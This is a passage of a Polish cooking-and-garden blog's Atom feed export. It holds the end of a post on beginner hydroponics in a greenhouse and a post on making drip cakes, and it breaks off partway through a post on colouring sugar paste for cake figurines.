Było to jednak bardzo smakowity finał :)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://live.staticflickr.com/65535/52213754130_4bba3481a8_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;397&quot; data-original-width=&quot;800&quot; height=&quot;318&quot; src=&quot;https://live.staticflickr.com/65535/52213754130_4bba3481a8_b.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Bazylia sałatowa i natka pietruszki rosły bardzo powoli. Po upływie kolejnych tygodni nadal dominowała sałata i ogórki, a także powoli pomidory. Z tymi ostatnimi pojawił się problem z podpieraniem, bo przecież w hydroponice nie ma mowy o tyczkach.&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Kiedy tylko zrobiło się cieplej w ogrodzie pojawiła się mała szklarnia, czyli kolejny ogrodowy debiut. Dotychczas mieliśmy tylko &lt;a href=&quot;https://aleksandraw.blogspot.com/2014/06/jak-zrobic-podwyzszone-grzadki.html&quot;&gt;podwyższone grządki&lt;/a&gt;, o których pisałam już dobrych parę lat temu. Hydroponika trafiła na nowe miejsce do ciepłej i słonecznej szklarenki, gdzie pojawiły się nowe wnioski i doświadczenia.&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://live.staticflickr.com/65535/52213545764_56690db829_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;397&quot; height=&quot;400&quot; src=&quot;https://live.staticflickr.com/65535/52213545764_56690db829_b.jpg&quot; width=&quot;199&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;https://live.staticflickr.com/65535/52213289788_657190cb78_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;450&quot; height=&quot;400&quot; src=&quot;https://live.staticflickr.com/65535/52213289788_657190cb78_b.jpg&quot; width=&quot;225&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Po pierwsze pojawiła się możliwość podwiązania ogórków i pomidorów. Możecie alternatywnie użyć rozwieszonej siatki lub tak jak my pojedynczych sznurków.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Po drugie rośliny zaczęły szybciej rosnąć. Być może to przypadek i tylko kwestia tego, że weszły akuratnie w taki dynamiczny etap wzrostu. Osobiście jednak uważam, że dużą różnicę zrobiło im prawdziwe światło słoneczne zamiast lampy UV.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Po trzecie pojawiły się pierwsze poważniejsze problemy i tutaj chcę się na nich skupić.&amp;nbsp;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Problemy z uprawą hydroponiczną&lt;/h3&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Wraz ze wzrostem systemów korzeniowych wydajność pompki zaczęła spadać. Na początku woda mogła swobodniej przepływać. Z czasem jednak korzenie zajmowały coraz więcej miejsca w świetle rur przez co przepływ wody był trudniejszy. Zwiększyliśmy wtedy czas pracy pompki na 30 minut z przerwą na 30 minut. Po pewnym czasie jednak pompka przestała działać. Okazało się, że osad z nawozów zapchał silniczek i do cotygodniowego rytuału dodaliśmy czyszczenie kratki i wirnika pompki. Niestety pomogło to tylko na pewien czas. W międzyczasie zamówiłam nową niby silniejszą pompkę z filtrem AquaEl 500L/godz. Dotychczasowa miała wydajność 200L, dlatego myślałam, że nowa pompka lepiej poradzi sobie z przepływem wody wśród korzeni. Nic bardziej mylnego. Niby lepsze parametry, ale to wynoszenie wody szło jej bardzo opornie. Na szczęście sałaty zjadaliśmy na bierząco, więc miejsca dla pozostałych roślin robiło się więcej. Ogórki wspinały się po sznurkach,&amp;nbsp; a pomidory zakwitły. W szklarni robiło się coraz przyjemniej, a wraz z tym pojawił się problem ubywającej wody. Jak się okazało parowanie w okresie czerwca było już tak duże, że uzupełnianie, a nawet wymianę wody, musieliśmy robić czasem nawet kilka razy w tygodniu. Ostatecznie zwiększyłam jej ilość w beczce, co pomogło na jakiś czas.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Później w rurce odpływowej pojawiły się glony. Niestety to była ta przezroczysta część instalacji hydroponicznej. Pomógł dodatek wody utlenionej 3ml na 1 galon wody (ok. 3.78L), którą dolałam do beczki.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;A potem przyszedł urlop... Plany wyjazdu na tydzień i dotychczasowe problemy nie pozostawiały nam żadnych złudzeń. Sałatę można było zjeść do obiadu, ale co z resztą?&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Z racji tego, że planowałam uprawę roślin w szklarni zaczęłam się zastanawiać czy mogę włożyć ogórki, pomidory, bazylię i natkę z hydroponiki do ziemi. Zaczęłam poszukiwania w internecie i wszędzie przewijały się informacje o tym, że system korzeniowy roślin uprawianych na wodzie jest inny i bardziej wrażliwy niż ten u roślin uprawianych od nasionka w ziemi. No cóż... Nie miałam wyboru. Tydzień przed wyjazdem napełniłam worki do sadzenia ziemniaków (35cm wysokości i 35cm średnicy) ziemią bio do grządek podwyższonych i posadziłam w nich po 4 koszyczki ogórków szklarniowych i po 4 koszyczki pomidorków koktajlowych. Bazylię włożyłam też do ziemi do doniczki, a natkę włożyłam do doniczki z wodą na jak najszybsze zużycie. Przekładając rośliny do ziemi nie usuwałam ich z koszyczków ani gąbek. Korzenie były na tym etapie już tak bujne, że mogłabym je całkowicie uszkodzić podczas wszelkich prób.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Wszystkie rośliny przeprowadzkę do ziemi i nowych warunków zniosły zaskakująco dobrze. Nie dociskałam tylko w żaden sposób ziemi, żeby nie zmiażdżyć delikatnych korzeni. Uznałam, że tak będzie najlepiej, a ziemię docisnę w razie potrzeby przed wyjazdem. Ogórki pierwszy dzień przywiędły, ale już następnego były jędrne i podniesione. Dowiązałam je do dotychczasowych sznurków, a pomidory podparłam bambusowymi patykami.&amp;nbsp; Wszystko ładnie się przyjęło, a system hydroponiki został złożony do następnej wiosny a może nawet późnej zimy.&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Jak potoczył się los posadzonych roślin? O tym napiszę w kolejnym poście poświęconym szklarni.&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/6511288414829334790/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2022/07/hydroponika-dla-poczatkujacych.html#comment-form' title='Komentarze (1)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/6511288414829334790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/6511288414829334790'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2022/07/hydroponika-dla-poczatkujacych.html' title='Hydroponika dla początkujących'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS3LPwAMOLGDSDdpcgx66rS0XrvDVY003eejWLSW-OPjcyVoHLyh4Ygu0I3yLcoaJAFLO9-KCGzJcx3fIjjGlrRD2-GVj19YLN5mpQuHcDLwHwKPqwlkJVj1fVjdVCTKVuHzpVpL5Nus3bTOnvSlCi-sXVbAUK2wLy5v-vU0Tp89e_QEzmHn-eLiYpNw/s72-c/52213275911_4888c2a007_k.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-9132325139245342632</id><published>2021-04-13T19:05:00.011+02:00</published><updated>2021-04-13T19:40:59.833+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="DIY"/><category scheme="http://www.blogger.com/atom/ns#" term="drip"/><category scheme="http://www.blogger.com/atom/ns#" term="drip cake"/><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><category scheme="http://www.blogger.com/atom/ns#" term="torty"/><title type='text'>Jak zrobić drip cake, czyli tort z lejącą polewą</title><content type='html'>&lt;div style=&quot;text-align: left;&quot;&gt;Jest apetyczny, piękny, prosty i robi wrażenie. Taki jest tort w polewie nazywanej dripem. Nie ma co ukrywać, że zatrzymana w miejscu ściekająca czekolada lub kolorowa polewa działa na zmysły i zaostrza apetyt każdego łakomczucha, choć są tacy, których wygląd &lt;b&gt;drip cake&lt;/b&gt; odstrasza. Naprawdę znam takie osoby :-)&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpAnUDyAs1OfWwFw8STH6SldHsN3mUrxwqrDx3V2fEYSpOcuhPeQaT8JCNShCkrDQb96BsphC8gKA2sEfJwNsSam-zUzhiYwEjoW-jLRNM3MYOcgc0lE1DZLoODa1e9_HpU1XFhB9oePM/s1200/komunijny.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1200&quot; data-original-width=&quot;800&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpAnUDyAs1OfWwFw8STH6SldHsN3mUrxwqrDx3V2fEYSpOcuhPeQaT8JCNShCkrDQb96BsphC8gKA2sEfJwNsSam-zUzhiYwEjoW-jLRNM3MYOcgc0lE1DZLoODa1e9_HpU1XFhB9oePM/s16000/komunijny.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Na początku każdy mówił mi, że to takie proste, a ja za każdym razem obserwowałam nowe zależności. Poznanie ich pozwala lepiej przewidzieć efekt końcowy i dopracować własną technikę. Dlatego ten wpis chcę poświęcić ogólnej tematyce dripa, ponieważ znajdziecie w sieci mnóstwo przepisów, ale rzadko znajdziecie omówienie niuansów i problemów, które mogą stanąć Wam na drodze. Podzielę się swoim doświadczeniem i opowiem jak ugryźć efekt dekoracji drip cake. Uprzedzam, że nie będą to naukowe wywody nad właściwościami czekolady, a jedynie obserwacje z własnych eksperymentów z tym rodzajem dekoracji tortu.&amp;nbsp;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Rodzaje dripa&amp;nbsp;&lt;/h3&gt;&lt;div&gt;Liczba receptur jest chyba nieskończona, ale uogólniając spotkałam się z dwoma rodzajami.&amp;nbsp;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Czekolada + śmietanka&lt;/b&gt;. To najszybsza i najprostsza wersja. Brzmiałoby to idealnie, gdyby nie fakt, że ma też swoje minusy. Po pierwsze w zależności od tego czy używamy czekolady białej, mlecznej czy gorzkiej musimy odpowiednio dopasować do jej rodzaju proporcję śmietany kremówki 30%. Tą wersję można przygotować błyskawicznie zalewając posiekaną blenderem czekoladę gorącą kremówką.&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Czekolada + śmietanka + masło&lt;/b&gt;. To mój ulubiony kompromis pomiędzy 1 i 3.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Czekolada + śmietanka + żelatyna + glukoza&lt;/b&gt;. To drip rzadko stosowany, ponieważ jego przygotowanie jest bardziej pracochłonne. Najczęściej sięgałam po niego, kiedy bałam się pękania ciemnej czekolady, a chciałam uzyskać całkowicie czarny drip. I odwrotnie kiedy chciałam uzyskać gładki biały drip.&amp;nbsp;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Dripy barwię barwnikami spożywczymi w żelu.&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Sposób na udany drip cake&lt;/h3&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Czyli co składa się na sukces? Po pierwsze &lt;b&gt;dobra czekolada&lt;/b&gt;. Nie musi to być Callebaut, ale jak to kiedyś mówiły nasze babcie &quot;prawdziwa&quot; czekolada, czyli taka nie czekoladopodobna i wszelkie tego typu ukrywające się pod nazwą czekolada.&amp;nbsp;&lt;br /&gt;Po drugie &lt;b&gt;przepis&lt;/b&gt;. W sieci znajdziecie wiele przepisów i pewnie prawie każdy z nich jest skuteczny. Najczęściej jednak brakuje w nich podania jednej kluczowej rzeczy. Bez względu na to jaki przepis wykorzystacie moim zdaniem kluczowa jest tu &lt;b&gt;temperatura &lt;/b&gt;- zarówno tortu jak i polewy. I to moim zdaniem jest po trzecim i po czwartym i każdym kolejnym warunkiem powodzenia, osiągnięcia wprawy i nabycia wyczucia.&amp;nbsp; Od niej zależy również efekt końcowy. To czy otrzymamy grube pasma, czy delikatne i cienkie zależy od tych dwóch temperatur.&amp;nbsp;&lt;br /&gt;Z zasady każdy przepisu mówi o polewaniu tortu schłodzonego. Dobrze schłodzony tort czyli jaki? Czasami mamy na tyle czasu, że tort stoi z gotowym tynkiem przez noc, a czasem mamy tylko parę godzin. Lodówki też nierówne sobie, nie mówiąc już o tym, że w zależności od poziomu wypełnienia lodówki tempo chłodzenia jest inne. Do tego przygotowana polewa, ile tak naprawdę powinna mieć stopni. Na początku, gdy człowiek próbuje to ogarnąć aż głowa pęka!&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;u&gt;Dripa nie można pod żadnym pozorem przegrzać&lt;/u&gt;. To jest żelazna zasada dotycząca czekolady i przy dripie należy o niej pamiętać. Na pewno przyda się dobry termometr najlepiej na podczerwień. Tak naprawdę trudno jest podać złoty środek. Każda torciara ma swój sposób na wyczucie idealnego momentu. Praktyka, praktyka i obserwacja.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Kiedyś znalazłam przepis w książce królowej tortów, w którym polewa aplikowana na tort miała 27C. Spróbowałam i niestety nie zdążyłam go dobrze rozprowadzić. To jak wyścig z czasem do kwadratu. Dla mnie to zdecydowanie za mało, ponieważ tort schłodzony ma temperaturę w zależności od ustawień lodówki około 10C. Proces chłodzenia dripa zaczyna się od razu, temperatura powoli spada, a my w tym czasie musimy jeszcze ten drip rozprowadzić i kontrolować jego układanie się. Dla mnie jest to za małą różnica temperatur. Ja wylewam polewę o temperaturze 35-40C.&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Co będzie potrzebne?&lt;/h4&gt;&lt;div&gt;Na początku używałam butelki z dziubkiem do polew, ale z czasem wystarczy mi łyżka, termometr i jeśli pokrywam cały wierzch także mała szpatułka.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://live.staticflickr.com/65535/51113646889_f6cb0ab5ce_b.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;450&quot; src=&quot;https://live.staticflickr.com/65535/51113646889_f6cb0ab5ce_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Nieudany drip cake - dlaczego?&lt;/h4&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Grudki czekolady&lt;/b&gt;. Pojawiają się, gdy czekolada jest posiekana za długo albo nie zdążyła się roztopić podczas mieszania. Innymi słowy, polewa za szybko nam stygła. Naprawiamy to podgrzewając całość w kąpieli wodnej lub z ogromnym wyczuciem w mikrofalówce (ostrzegam jednak, że bez wyczucia to bardzo ryzykowne).&lt;/li&gt;&lt;li&gt;&lt;b&gt;Grudki żelatyny&lt;/b&gt;. Zdarzało mi się robić drip z żelatyną, a najlepszym patentem na jego gładkość jest przelanie/przetarcie przez gęste sitko. Dzięki temu oddzielamy drobne grudki żelatyny, które nie zdążyły się rozpuścić.&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Pękająca polewa&lt;/b&gt;. Na początku wszystko pięknie wyglądało. Tort trafił do lodówki, a po schłodzeniu drip popękał i wygląda jak dotknięta przez suszę ilasta ziemia. Najczęściej doświadczycie tego stosując zbyt ciemną czekoladę lub użyjecie złej proporcji gorzkiej czekolady do śmietany kremówki. Dodatek śmietany sprawia, że drip staje się miękki, bardziej plastyczny. Dzięki czemu po stężeniu czekolada nie wraca do swoich pierwotnych właściwości i nie twardnieje. Jeśli będzie jej jednak za mało (w bardzo ciemnej czekoladzie ten deficyt jest jeszcze większy na starcie) po schłodzeniu czekolada zacznie tężeć i popęka. Naprawić się raczej tego nie da. Można ratować się zasłanianiem wierzchu tortu elementami dekoracji np. posypkami, pokruszonymi ciasteczkami, bezami, kwiatami, słodyczami etc.&amp;nbsp; &amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Polewa nie zatrzymuje się &lt;/b&gt;tylko ścieka do samej podstawy. Czasami taki efekt jest zamierzony. Zdarza się&amp;nbsp; jednak, że chcemy, aby polewa zatrzymała się, a ona i tak ścieka do samego dołu. Zbyt rzadka lub zbyt ciepła. Rzadziej może być to błąd związany z nałożeniem zbyt dużej ilości polewy w miejscu spadku.&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Nie zlewająca się w jedną taflę powierzchnia dripa&lt;/b&gt;. Zbyt gęsta polewa lub zbyt niska temperatura powodująca tężenie polewy.&amp;nbsp;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/9132325139245342632/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2019/07/jak-zrobic-drip-cake-czyli-tort-z.html#comment-form' title='Komentarze (2)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/9132325139245342632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/9132325139245342632'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2019/07/jak-zrobic-drip-cake-czyli-tort-z.html' title='Jak zrobić drip cake, czyli tort z lejącą polewą'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpAnUDyAs1OfWwFw8STH6SldHsN3mUrxwqrDx3V2fEYSpOcuhPeQaT8JCNShCkrDQb96BsphC8gKA2sEfJwNsSam-zUzhiYwEjoW-jLRNM3MYOcgc0lE1DZLoODa1e9_HpU1XFhB9oePM/s72-c/komunijny.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-825202528713064673</id><published>2021-04-08T18:24:00.006+02:00</published><updated>2021-04-08T20:56:18.366+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CMC"/><category scheme="http://www.blogger.com/atom/ns#" term="DIY"/><category scheme="http://www.blogger.com/atom/ns#" term="figurki na tort"/><category scheme="http://www.blogger.com/atom/ns#" term="masa cukrowa"/><category scheme="http://www.blogger.com/atom/ns#" term="Saracino"/><category scheme="http://www.blogger.com/atom/ns#" term="torty"/><title type='text'>Barwienie masy cukrowej do figurek na tort</title><content type='html'>Kupujemy masę cukrową &lt;u&gt;do figurek&lt;/u&gt; i co dalej. Zwykle myślimy tylko o tym, co mamy z niej wykonać. Dopiero jak się pojawią problemy zaczynamy nerwowo szukać rozwiązania. Jakich problemów uniknąć, żeby oszczędzić sobie stresu?&amp;nbsp;&lt;div&gt;Polecam Wam dobrej jakości produkty specjalnie dedykowane do lepienia figurek. Oczywiście pojawią się głosy, że to nie ma znaczenia. &lt;a href=&quot;https://aleksandraw.blogspot.com/2018/11/abc-figurki-z-masy-cukrowej-saracino.html&quot;&gt;Lepienie figurek z masy cukrowej&lt;/a&gt; nie jest jednak taką prostą sprawą. Ja polecam Wam produkt, z którym łatwiej się pracuje. Moja ulubiona to &lt;b&gt;Saracino&lt;/b&gt;, ale wiem, że są też inne lubiane przez Was marki.&lt;div&gt;&lt;div&gt;W tym wpisie odpowiem na niektóre pytania zadawane najczęściej w komentarzach.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_kmp4dArm-uOR6NlwLrKHuw_hFNNRXe5DDEgfsm9YxWkF8j4SCrJeNQU58QFu2UODZW736hrcrGYrGWiVtXFJI60ABRSYhFX6a0vJ39SqdY6ROGwxK8eEKsOMfBfOZWrLlbMshDt7amc/s2048/Jednoro%25C5%25BCec+na+torcie.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2048&quot; data-original-width=&quot;1365&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_kmp4dArm-uOR6NlwLrKHuw_hFNNRXe5DDEgfsm9YxWkF8j4SCrJeNQU58QFu2UODZW736hrcrGYrGWiVtXFJI60ABRSYhFX6a0vJ39SqdY6ROGwxK8eEKsOMfBfOZWrLlbMshDt7amc/s16000/Jednoro%25C5%25BCec+na+torcie.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Przygotowanie masy cukrowej do modelowania&lt;/h3&gt;&lt;div&gt;Mamy wiaderko lub kostkę masy. Otwieramy i... mamy kawałek twardy jak kamień. Kilka osób pytało mnie dlaczego masa Saracino jest taka twarda. Nie pytałam o to producenta, ale patrzyłam w skład i zauważyłam, że jest w niej masło kakaowe. Cudowny składnik, ponieważ jest to naturalny dodatek, który po ogrzaniu w dłoniach robi się mięciutki jak masło, ale już w 20 stopniach nie ruszane jest twarde.&amp;nbsp;&lt;/div&gt;&lt;div&gt;Dlatego na początek masę należy krótko wyrobić jak ciasto. Czyli bierzemy mniej więcej potrzebny nam kawałek i chwilę wyrabiamy aż zmięknie i będzie plastyczny. Następnie przystępujemy do barwienia potrzebnych porcji.&lt;/div&gt;&lt;div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Barwienie masy cukrowej&amp;nbsp;&lt;/h3&gt;&lt;div&gt;Mamy zestaw barwników spożywczych, białą masę i mnóstwo motywacji. Tak zaczynałam swoją przygodę z topperami na torty moich córek. Uwierzcie mi, że to ostatnie jest najważniejsze :) A dziś wspominam te chwile z rozrzewnieniem.&amp;nbsp;&lt;/div&gt;&lt;div&gt;Masę do figurek barwię barwnikami żelowymi, ale mam też takie awaryjne w proszku, których nie lubię, ponieważ nadają się one bardziej do barwienia dużych ilości masy. Nie będę jednak narzekać, ponieważ raz uratowały mi życie. Są bardziej intensywne (o zgrozo wysypać okruszek, a później zetrzeć to miejsce mokrą ściereczką - plama urośnie w oczach) przez co szybciej barwią. Te w żelu z powodzeniem dają się łatwiej stopniować i mieszać, a ich wybór kolorystyczny jest o wiele bogatszy. Lepiej się z nimi pracuje przy małych elementach.&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://live.staticflickr.com/1922/45004058454_14e2c45250_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;600&quot; src=&quot;https://live.staticflickr.com/1922/45004058454_14e2c45250_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Kolorowe masy cukrowe&amp;nbsp;&lt;/h3&gt;&lt;div&gt;Czyli co i jak z tymi kolorami. W największej ilości kupowałam masę w kolorze białym. Mając barwniki wydawało mi się, że to wystarczy. Jednak pojawiły się na mojej drodze projekty, które nauczyły mnie, że warto jest kupić gotową masę w określonym kolorze.&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Masa cukrowa w kolorze czarny&lt;/b&gt; przyda się nam do naprawdę czarnych elementów. Uzyskanie czarnej masy z białej graniczy z cudem ;-) Chyba, że potrzebujemy jej dosłownie odrobinę i mamy cierpliwość do dokładania barwnika wciąż i wciąż. Taka masa nie jest idealnie czarna, kiedy ją wyrobicie zacznie jaśnieć, ale bez stresu. Do tego dodajemy czarny barwnik i uzyskujemy głęboki kolor odpowiedni do zrobienia np. myszki Miki / Minnie, źrenic oczu, czarnej czarnego buta szpilki, czarnych elementów samochodu / koparki, Kruka z Brawlstars, Batmana, pada do konsoli i wielu innych elementów. To jeden z kolorów must-have.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://live.staticflickr.com/65535/49482697818_cacbf47c12_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;450&quot; src=&quot;https://live.staticflickr.com/65535/49482697818_cacbf47c12_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Masa cukrowa w kolorze cielistego beżu. &lt;/b&gt;To kolejny niezbędny kolor. Jeśli nie robimy dużo figurek to starczy nam mała kostka. Przydaje się do lepienia ciałkowych elementów od stóp do główek, a dokładniej twarzyczek.&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://live.staticflickr.com/4867/46585706772_f81881260e_b.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;800&quot; data-original-width=&quot;534&quot; src=&quot;https://live.staticflickr.com/4867/46585706772_f81881260e_b.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Masa cukrowa w kolorze czerwonym&lt;/b&gt;. Myślałam kiedyś, że jej nie potrzebuję dopóki nie musiałam zrobić czerwonej szpiki. Tak to zwykle ten moment, kiedy w myślach zadajesz sobie pytanie dlaczego, jednocześnie dodając i dodając do białej masy barwnik. Tak, więc w tym przypadku dodając do białej masy czerwony barwnik będziemy mieszać i dodawać i mieszać i dodawać.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div 